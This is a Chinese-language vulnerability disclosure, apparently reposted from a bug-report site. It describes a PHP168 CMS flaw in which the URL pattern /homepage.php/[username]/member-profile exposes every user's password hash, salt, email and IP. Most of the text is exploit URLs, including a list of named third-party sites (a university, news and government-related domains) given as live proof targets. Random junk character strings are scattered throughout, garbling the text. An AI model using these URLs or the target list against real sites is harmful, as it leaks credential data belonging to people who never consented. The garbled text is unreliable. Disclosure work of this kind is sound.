简要描述: 国微PHP168中出现了一处神奇的array,可致全站用户数据泄露。泄露的内容包括全站用户的密码密文、邮箱、密码salt、IP等敏感信息。 详细说明:PHP168程序内置“用户”模块包含用户个人资料展示页面。在很多实际场景中,这个页面不会在前台使用,但可直接通过URL进行访问。页面路由为:/homepage.php/[用户名]/member-profile
: N2 q% t' E/ H: r& D/ W6 z# s, k3 S' ~0 ?7 |+ p3 ~
以PHP168官方演示站点为例,查看任意用户信息的页面链接为:3 ]+ Y8 ^ I6 i% p* \! [
# R5 `3 v3 x' `6 _$ `http://php168.cn/com/homepage.php/admin/member-profile
' u+ W H; x! L$ H
& z) j- b% z- k7 z由于该模块代码中出现了一句神奇的array,导致用户数据表内所有数据被当作数组取出直接显示出来。
. g9 x$ o q- O1 fhttp://www.myhack58.com/Article/UploadPic/2013-9/2013920918425520.jpg
8 `5 f6 q' w; N! G# q( `( ]8 [, I8 n( ~8 f
漏洞证明:该漏洞影响使用该CMS系统的站点,以PHP168官网上的客户案例为例:
2 K% M. p8 }! @- _- }# Z; |1 r0 G C. ^6 t7 u: Y0 t) E7 b
http://www.zjfzol.com.cn/homepage.php/admin/member-profile
. M6 t. {$ K" t) t) E d, Q7 G" N
http://www.scswl.cn/homepage.php/admin/member-profile) d. Z( F' s( [7 H" `
' N5 p" q9 J# Z# \. v- W1 T9 }http://www.tunet.edu.cn/homepage.php/admin/member-profile9 J& \0 S" K6 v+ [
' `" f' p9 ~' k" a. Ihttp://www.itlead.com.cn/homepage.php/admin/member-profile
' T+ ~5 v e# B3 d& l/ j, z4 _' J; j$ V# {! M8 a& s
http://www.aedp.cn/homepage.php/admin/member-profile4 u5 V6 {' I) t# j' L
' u/ p5 |. _6 ^+ |$ P2 z
http://www.qianlongnews.com/homepage.php/test/member-profile3 a7 k0 k [, ?$ _5 o4 Z$ F8 y6 }
" w0 u4 W8 C1 ohttp://ny.zlxk.com/gov/homepage.php/admin/member-profile 修复方案:去掉输出 [/td][/tr]
, n: Q" b- A/ y$ y6 W: u: b4 u[/table] |